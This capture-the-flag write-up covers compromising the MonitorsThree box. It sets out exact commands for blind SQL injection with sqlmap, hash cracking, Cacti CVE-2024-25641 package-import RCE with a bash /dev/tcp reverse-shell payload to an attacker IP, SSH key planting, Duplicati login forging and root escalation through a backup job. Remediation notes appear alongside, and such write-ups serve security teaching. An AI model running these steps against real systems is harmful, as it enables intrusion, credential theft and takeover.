MonitorsThree
Summary
I mapped MonitorsThree's web surface to a Cacti-backed monitoring vhost and used a boolean-blind SQL injection in the password-reset form to dump the application's user table, cracking the admin hash to log into Cacti 1.2.26. A forged, self-signed package exploiting Cacti's package-import RCE flaw (CVE-2024-25641) planted a PHP web shell, giving code execution as www-data.
Cacti's own database configuration file exposed working MySQL credentials, which were used to dump and crack a local user's password hash, pivoting to a full shell as marcus and the user flag. From there, a root-owned Duplicati backup service bound to localhost was reached over SSH, its authentication was bypassed by reading the server's secret passphrase out of its local config database and forging the nonce-response login, and a malicious backup job was used to trigger a root-context script — because the Duplicati container had the entire host filesystem mounted at /source, this yielded root code execution and the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD5="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <b64_passphrase>, <cracked_password>, <nonce>, <noncedpwd>, <session-auth-cookie>, <xsrf-token>, <your-public-key> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 4
Confirm the exposed service set.
$ nmap -p22,80 -sV $TARGETResolve the discovered vhosts locally.
$ echo "$TARGET monitorsthree.htb cacti.monitorsthree.htb" | sudo tee -a /etc/hostsObserve the redirect to the monitorsthree.htb vhost.
$ curl -ksS -L -D - http://$TARGET/Fuzz for hidden vhosts on the same IP; reveals cacti.monitorsthree.htb.
$ ffuf -u "http://$TARGET/" -H 'Host: FUZZ.monitorsthree.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -acExact commands 3
Reset.request is the captured POST to /forgot_password.php with username as the injection point; answer 'y' to follow redirects, 'n' to resending the POST — boolean-based is required, time-based is too slow here.
$ sqlmap -r reset.request --level 5 --risk 3 --dbms=mysql --technique=B --flush-sessionDump the users table once the injection is confirmed.
$ sqlmap -r reset.request --dbms=mysql --technique=B -D monitorsthree_db -T users --dumpCrack the admin MD5 hash recovered from the dump.
$ hashcat -m 0 -a 0 admin_hash.txt rockyou.txtFixFix SQL injection in the password-reset formCritical
Exact commands 4
Start a listener before triggering the payload.
$ nc -lnvp 443Public CVE-2024-25641 PoC generator; it double-signs the file data and the full XML and embeds the public key, then gzips it — signing order matters and is impractical by hand.
$ python3 cacti_2024_25641_poc.py -u admin -p '<cracked_password>' --url http://cacti.monitorsthree.htb/cacti/ --file resource/0xdf.php --php-payload "<?php system('bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/443 0>&1\"'); ?>" --output payload.xml.gzWrites resource/0xdf.php into the Cacti web root.
$ # In the Cacti UI: Import/Export > Import Packages, upload payload.xml.gzTrigger the planted PHP; catches a www-data shell on the listener.
$ curl http://cacti.monitorsthree.htb/cacti/resource/0xdf.phpFixPatch Cacti and lock down package importCritical
Exact commands 4
Run from the www-data shell using the DB creds found in Cacti's include/config.php.
$ mysql -u $PASSWORD5 -p$PASSWORD5 cacti -e "SELECT username,password FROM user_auth WHERE username='marcus'"Crack the bcrypt hash; recovers a weak numeric password.
$ hashcat -m 3200 marcus_hash.txt rockyou.txtSwitch to marcus with the recovered password.
$ su - marcusRead the user flag; value redacted here as <user.txt>.
$ cat /home/marcus/user.txtFixEnforce strong, unique passwords for application and OS accountsHigh
Exact commands 3
Generate my keypair locally.
$ ssh-keygen -q -t ed25519 -N '' -f ./marcus_keyAppend my public key from the existing su session.
$ su - marcus -c "mkdir -p ~/.ssh && chmod 700 ~/.ssh && printf '%s\n' '<<your-public-key>>' >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys"Confirm passwordless SSH access as marcus.
$ ssh -i ./marcus_key marcus@$TARGET idExact commands 3
Enumerate local listeners; reveals 127.0.0.1:8084 alongside MySQL on 3306.
$ ssh -i ./marcus_key marcus@$TARGET ss -lntConfirm the service is Duplicati.
$ ssh -i ./marcus_key marcus@$TARGET "find /opt/duplicati /usr/share -maxdepth 5 -type f \( -name '*.js' -o -name '*.html' \) 2>/dev/null | grep -i duplicati"Tunnel the filtered port to the local machine for direct access.
$ ssh -L 8084:127.0.0.1:8084 -i ./marcus_key marcus@$TARGETExact commands 4
Recover the base64 server-passphrase and salt.
$ ssh -i ./marcus_key marcus@$TARGET "sqlite3 /opt/duplicati/config/Duplicati-server.sqlite \"SELECT Name,Value FROM Option WHERE Name LIKE 'server-passphrase%'\""Fetch a fresh login nonce and salt.
$ curl -s 'http://127.0.0.1:8084/login.cgi?get-nonce=1'Compute noncedpwd = base64(SHA256(base64decode(nonce) + hex(base64decode(passphrase)))) — the passphrase must be hex-encoded after base64-decoding, not hashed as base64 text, or the login fails.
$ python3 dup_auth_bypass.py --nonce '<nonce>' --passphrase '<b64_passphrase>'Submit the forged noncedpwd to authenticate as the Duplicati admin.
$ curl -s -X POST 'http://127.0.0.1:8084/login.cgi' --data 'password=<noncedpwd>'FixProtect the Duplicati server passphrase and restrict accessCritical
Exact commands 3
Stage the payload script where the Duplicati container can see it.
$ cp x.sh /dev/shm/x.sh && chmod 755 /dev/shm/x.shClone the existing backup job, attach the malicious pre-run script hook, and trigger it via Duplicati's REST API.
$ python3 dup_exploit.py --session '<session-auth-cookie>' --xsrf '<xsrf-token>' --template 'Cacti 1.2.26 Backup' --run-script-before /dev/shm/x.sh --runRead the root flag through the host mount exposed inside the container; value redacted here as <root.txt>.
$ ssh -i ./marcus_key marcus@$TARGET cat /source/root/root.txtFixStop running the backup agent as root with the host filesystem mounted inCritical
Attack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |